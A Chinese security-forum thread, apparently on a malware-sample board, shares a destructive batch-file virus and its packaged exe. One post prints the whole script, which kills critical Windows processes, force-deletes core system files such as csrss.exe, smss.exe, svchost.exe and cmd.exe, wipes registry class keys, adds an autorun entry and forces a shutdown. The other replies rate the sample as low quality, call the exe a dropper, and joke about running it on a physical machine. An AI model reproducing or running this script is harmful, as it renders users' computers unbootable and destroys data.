病毒病毒，bat转的病毒。

显示全部楼层 · 发表于 2020-8-6 10:31:40

显示全部楼层 · 发表于 2020-8-6 10:34:33

智量V2.66Miss All

显示全部楼层 · 发表于 2020-8-6 10:34:34

低质量样本

@echo off
taskkill /f /im explorer.exe
taskkill /f /im taskmgr.exe
taskkill /f /im winlogon.exe
taskkill /f /im dwm.exe
taskkill /f /im csrss.exe
del /f %SystemRoot%\System32\csrss.exe
del /f C:\windows\explorer.exe
del /f C:\windows\System32\cmd.exe
del /f C:\windows\System32\taskmgr.exe
del /f C:\windows\System32\svchost.exe
del /f C:\windows\user\shunli
del /f \SystemRoot\System32\smss.exe
del /f C:\windows\System32\lsm.exe
del /f C:\windows\System32\dwm.exe
START reg delete HKCR/*
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v AUTORUN /t REG_SZ /d C:\user\shunli\Desktop\admin.bat /f
shutdown /s /t 0

复制代码

显示全部楼层 · 发表于 2020-8-6 10:34:49

厉害，学习了，还有bat病毒这种东西

显示全部楼层 · 发表于 2020-8-6 10:34:51

ps：admin.7z是bat，adminbat.7z是exe

显示全部楼层 · 发表于 2020-8-6 10:38:04

αdmin 发表于 2020-8-6 10:34
厉害，学习了，还有bat病毒这种东西

其实脚本病毒并不是很强

显示全部楼层 · 发表于 2020-8-6 10:39:05

ZNKZZ. 发表于 2020-8-6 10:34
低质量样本

没错，但转了exe后截然不同

显示全部楼层 · 发表于 2020-8-6 10:39:08

川建国代理人发表于 2020-8-6 10:38
其实脚本病毒并不是很强

哇，我运行了删了好多东西系统出错了怎么办？

显示全部楼层 · 发表于 2020-8-6 10:40:03

αdmin 发表于 2020-8-6 10:39
哇，我运行了删了好多东西系统出错了怎么办？

乃实体机运行了

显示全部楼层 · 发表于 2020-8-6 10:40:54

nich 发表于 2020-8-6 10:39
没错，但转了exe后截然不同

exe就是个释放器

[病毒样本] 病毒病毒，bat转的病毒。